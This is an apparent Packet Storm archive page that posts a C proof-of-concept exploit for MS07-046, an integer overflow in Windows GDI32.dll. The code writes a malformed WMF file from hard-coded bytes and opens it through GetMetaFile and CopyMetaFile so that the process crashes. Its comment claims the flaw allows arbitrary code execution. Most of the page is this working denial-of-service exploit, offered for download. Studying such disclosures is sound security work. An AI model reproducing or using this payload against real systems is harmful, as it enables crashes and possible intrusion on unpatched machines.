the last unbiased stronghold

gdi32-dos.txt

gdi32-dos.txt
Posted Aug 30, 2007
Authored by Woo-Chi

Microsoft Windows denial of service exploit that makes use of GDI32.DLL. This vulnerability is related to MS07-046.

tags | exploit, denial of service
systems | windows
MD5 | 6b8e5d855533f6cd0c76c63947b807e6

gdi32-dos.txt

Change Mirror Download
/*
* MS07-046(GDI32.dll Integer overflow DOS) Proof Of Concept Code

* by Hong Gil-Dong & Chun Woo-Chi

* Yang yeon(?~1542), Korea
* "I shall keep clenching my left fist unitl i see the real tao".

* This POC is only for test. If an application read a malformed wmf
* file like this POC, the application will be crashed. If you apply
* this code, you can execute an arbitrary code.
*

* We tested this code on Windows XP SP2 Korean Edition
* (GDI32.dll version 5.1.2600.3099). But it will work well on other
* systems.
*/

#include <stdio.h>
#include <windows.h>

#define WMF_FILE "ms07-046.wmf"

void usage(void);

int main()
{

FILE *fp;

char wmf[] = "\x01\x00\x09\x00\x00\x03\x11\x00\x00\x00\x00\x00"\
"\x05\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x13\x02"\
"\x32\x00\x96\x00\x03\x00\x00\x00\x00\x00";
int i;

HMETAFILE srcMeta;

usage();

if ((fp = fopen(WMF_FILE, "w")) == NULL) {
printf("File %s write error\n", WMF_FILE);
return 0;
}

for(i=0; i<sizeof(wmf)-1; i++)
fputc(wmf[i], fp);

fclose(fp);

srcMeta = GetMetaFile(WMF_FILE);
CopyMetaFile( srcMeta, NULL);

return 0;
}

void usage(void)
{
printf("MS07-046 Windows Meta File RecordParms Integer Overflow \n");
printf("Proof of Concept by Hong Gil-Dong & Chun Woo-Chi \n");

}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close